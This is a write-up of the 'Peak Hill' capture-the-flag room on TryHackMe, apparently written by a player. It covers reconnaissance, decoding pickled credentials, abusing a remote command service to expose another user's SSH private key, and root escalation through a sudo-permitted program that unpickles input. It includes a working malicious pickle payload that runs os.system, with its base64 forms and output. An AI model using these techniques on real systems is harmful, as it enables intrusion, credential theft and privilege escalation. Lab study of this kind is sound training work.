This is a writeup for Peak hill on TryHackMe

The basics

As with all these THM write up, you must make sure that there's the standard thing: Connect to the network's VPN, boot up your computer and sit behind the keyboard. Not necessarily in that order.

But aside of that, there's one extra thing you'll need for this challenge: (at least) basic understanding of Python.

Good? Good.

Okay.

Oh, and a disclaimer: The easy answers are disclosed, but the answers where you need to put some effort into it, are redacted. With that said, I wish you happy hacking!


Tasks

#1 What is the user flag?

This task alone is quite large, so let's split it into sections:

What's running on the server?

Let's break out our trusty friend, nmap, and point it at the machine, wait for a while, and --

$ nmap -sC -sV -oN nmap/initial <ip>
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-10 21:58 CEST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.03 seconds

That's odd... Machine seems to be down. Either that, or it's firewalling ICMP requests. Let's roll with nmap's suggestion and try again.

$ nmap -sC -sV -oN -Pn nmap/initial <ip>
# nmap scan report for <ip>
Host is up (0.062s latency).
Not shown: 997 filtered ports
PORT   STATE  SERVICE  VERSION
20/tcp closed ftp-data
21/tcp open   ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp            17 May 15 18:37 test.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:<ip>
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open   ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Aha! Now we're talking. So we have an anonymous FTP and an ssh opened. Nmap only displayed test.txt in that folder, but we should take another peek. Just in case.

$ ftp <ip>
Connected to <ip>.
220 (vsFTPd 3.0.3)
Name (<ip>:by7e): ftp
331 Please specify the password.
Password:

Wait, the FTP is asking about password even though nmap said there's anonymous access enabled. Maybe 'anonymous'?

230 Login successful.
Remote system type is UNIX.

Success! And now we poke around:

ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 May 15 18:37 .
drwxr-xr-x    2 ftp      ftp          4096 May 15 18:37 ..
-rw-r--r--    1 ftp      ftp          7048 May 15 18:37 .creds
-rw-r--r--    1 ftp      ftp            17 May 15 18:37 test.txt

A hidden file! Okay. Let's download it and examine the contents:

00000000000...1110001000110011000...0000000001000000...00000000000110...10000000000000...

Right. A literal binary file.


Decoding the file content

Let's go over the basic computer stuffs: 1 byte consists of 8 bits, and combining those makes the computer world go around. So, let's slice the content of the file to 8 characters chunks. And since Python is handy, so let's use it for our job:

#!/usr/bin/env python

f = open('.creds').read()
n = 8
letters = [f[i:i+n] for i in range(0, len(f), n)]
out = ""
for letter in letters:
    l = int(letter, 2)
    out +=  chr(l)

print out

With that done, we pipe this to a creds.bin file, and... Now what? What is this file, anyways?

$ xxd -c 8 creds.bin
8003 5d71 0028 580a  ..]q.(X.
0000 0073 7368 5f70  ...ssh_p
6173 7331 3571 0158  ass15q.X
0100 0000 7571 0286  ....uq..
7103 5809 0000 0073  q.X....s
7368 5f75 7365 7231  sh_user1
7104 5801 0000 0068  q.X....h
7105 8671 0658 0a00  q..q.X..
0000 7373 685f 7061  ..ssh_pa
7373 3235 7107 5801  ss25q.X.

Python pickles! The CTF is riddled with pickles! Let's see --

$ python creds-unpickle.py
Traceback (most recent call last):
  File "creds-unpickle.py", line 6, in <module>
    new_dict = pickle.load(infile)
  File "/usr/lib/python2.7/pickle.py", line 1384, in load
    return Unpickler(file).load()
  File "/usr/lib/python2.7/pickle.py", line 864, in load
    dispatch[key](self)
  File "/usr/lib/python2.7/pickle.py", line 892, in load_proto
    raise ValueError, "unsupported pickle protocol: %d" % proto
ValueError: unsupported pickle protocol: 3

Rats. However --

$ python3 creds-unpickle.py
[('ssh_pass15', 'u'), ('ssh_user1', 'h'), ('ssh_pass25', 'r'),

Success! Although, the chunks for username and password are out of order. A simple cleaner / sorter should do the trick:

#!/usr/bin/python3
pwd = []

for i in range(100):
    pwd.append('')

for d in new_dict:
    if 'ssh_pass' in d[0]:
        i = int(d[0].replace('ssh_pass', ''))

        pwd[i] = d[1]

print(''.join(pwd))

And with that, we have the credentials for SSH.

$ ssh g**n@<ip>

$ ls -al
total 16
drwxr-xr-x 3 g**n g**n 4096 Sep 10 21:26 .
drwxr-xr-x 4 root root 4096 May 15 18:38 ..
drwx------ 2 g**n g**n 4096 Sep 10 21:26 .cache
-rw-r--r-- 1 root root 2350 May 15 18:37 cmd_service.pyc

g**n@ubuntu-xenial:~$ sudo -l
[sudo] password for g**n:
Sorry, user g**n may not run sudo on ubuntu-xenial.

Bah, that's a dead end. The standard command find / -perm /4000 doesn't yield anything useful either.

However, this cmd_service.pyc is out of place and may come handy. A quick scp brings the file to our machine.


Now what?

Since we have the file on our machine, we can do whatever we want to do with it. For instance, we can decompile it. And because the file is literally compiled python class, we can restore it to its original form with a little help of uncompyle6.

$ pip3 install uncompyle6
$ uncompyle6 cmd_service.pyc > cmd_service.py

Given we now have the source code, we can see interesting things:

username = long_to_bytes(1..6)
password = long_to_bytes(2..6)
...
def main():
    print('Starting server...')
    port = 7321
    host = '0.0.0.0'
    service = Service
    server = ThreadedService((host, port), service)

And a quick

$ python3
>>> from Crypto.Util.number import long_to_bytes
>>> print(long_to_bytes(1..6)) # username
>>> print(long_to_bytes(2..6)) # password

gives us our credentials. So! We have a server running on port 7321, and we have username and a password. Let's use telnet to log in.

telnet <ip> 7321
Trying <ip>...
Connected to <ip>.
Escape character is '^]'.
Username: [redacted]
Password: [redacted]
Successfully logged in!
Cmd: ls

Nothing. What gives?

while True:
    command = self.receive(b'Cmd: ')
    p = subprocess.Popen(command,
      shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE))

Oh, duh. Wait... Where's the flag? it's not in our home folder... Is there someone else on the box?

$ ls /home
g**n dill

And who is the script running as anyways?

$ ps aux | grep service
dill   1098  22:14   0:00 /usr/bin/python3 /var/cmd/.cmd_service.py
root   1146  22:14   0:00 /usr/lib/accountsservice/accounts-daemon

Maybe...

$ cd /home/dill
$ ls -al
drwxr-xr-x 2 dill dill 4096 May 15 18:38 .ssh
-r--r----- 1 dill dill   33 May 15 18:38 user.txt

Nice! We can change permissions of the flag with

Cmd: chmod 777 /home/dill/user.txt

through the server command script. And while we are at it, let's make another change as well:

Cmd: chmod 777 /home/dill/.ssh/id_rsa

And a quick

cat /home/dill/user.txt

reveals our first flag, which is, of course

[redacted]

Whew!



#2 What is the root flag?

With one flag under our belt, let's go after the second one: Root flag! Privesc! But... how?

First things first: Since we now have permission to that ssh private key, grab that one first and attempt to log in as the other user.

$ scp g**n@<ip>:/home/dill/.ssh/id_rsa ssh/id_rsa

Do keep in mind that SSH will quite likely complain about the premissions of the private key. So, let's fix those on our machine first:

$ chmod 500 ssh/id_rsa

And on the remote machine:

Cmd: chmod 500 /home/dill/.ssh/id_rsa

And attempt to log in:

$ ssh dill@<ip> -i ssh/id_rsa

Success! Although, as established before, there's not much in the standard dirs. See?

$ find / -perm /4000 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
...
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
...
/bin/ping6
/bin/ping

But since we're a different user now --

dill@ubuntu-xenial:~$ sudo -l

User dill may run the following commands on ubuntu-xenial:
    (ALL : ALL) NOPASSWD: /opt/peak_hill_farm/peak_hill_farm

Hello! And now we find a way to --

$ sudo /opt/peak_hill_farm/peak_hill_farm
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow:

... What? What does this do?

$ sudo /opt/peak_hill_farm/peak_hill_farm
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: gsdfgsdfgsdfgsdfgsdfg
failed to decode base64

Base64, huh? Let's try to make it do things!

Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: SasdasdaSDasdASd==
Traceback (most recent call last):
  File "peak_hill_farm.py", line 18, in <module>
ValueError: could not convert string to int
[1837] Failed to execute script peak_hill_farm

It's a Python application? ... ... ... Oh! Binaries! Pickles! It's trying to decode pickles! Let's see if that's true! And since we already dealt with Python3 pickles on this box, we assume we're dealing with them this time around as well:

$ python3
>>> import pickle
>>> import base64
>>> a = "this works?"
>>> base64.b64encode(pickle.dumps(a))
b'gASVDwAAAAAAAACMC3RoaXMgd29ya3M/lC4='
dill@ubuntu-xenial:~$ sudo /opt/peak_hill_farm/peak_hill_farm
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: gASVDwAAAAAAAACMC3RoaXMgd29ya3M/lC4=
This grew to:
this works?

Yes! (Unintentionally, I just answered my own question.)

Let's break it! And with root permissions, we'll have that flag in no time!

There's is a pretty detailed information about how to exploit Python's pickle here https://davidhamann.de/2020/04/05/exploiting-python-pickle/ and here https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html.

So we want to create a malicious code and encode it in base64.

#!/usr/bin/env python3
import pickle
import os
import base64

class EvilPickle(object):
    def __reduce__(self):
        return (os.system, ('ls /root/', ))
pickle_data = pickle.dumps(EvilPickle())

print(base64.b64encode(pickle_data))

Drop the base64 string into the peak hill farm, and —

to grow: gANjcG9zaXgKc3lzdGVtCnEAWAkAAABscyAvcm9vdC9xAYVxAlJxAy4=
�root.txt�
This grew to:
0

Huh? What's with the weird squares around the filename? Eh, it doesn't matter. We can modify the request a little bit, and

class EvilPickle(object):
    def __reduce__(self):
        return (os.system, ('cat /root/*', ))
pickle_data = pickle.dumps(EvilPickle())
to grow: gANjcG9zaXgKc3lzdGVtCnEAWAsAAABjYXQgL3Jvb3QvKnEBhXECUnEDLg==
[redacted]
This grew to:
0

Boom, done! We have the flag!


Alternatives

You can also use this method to deploy a reverse shell, but, eh. I didn't feel like it's necessary for this CTF.


- by7e_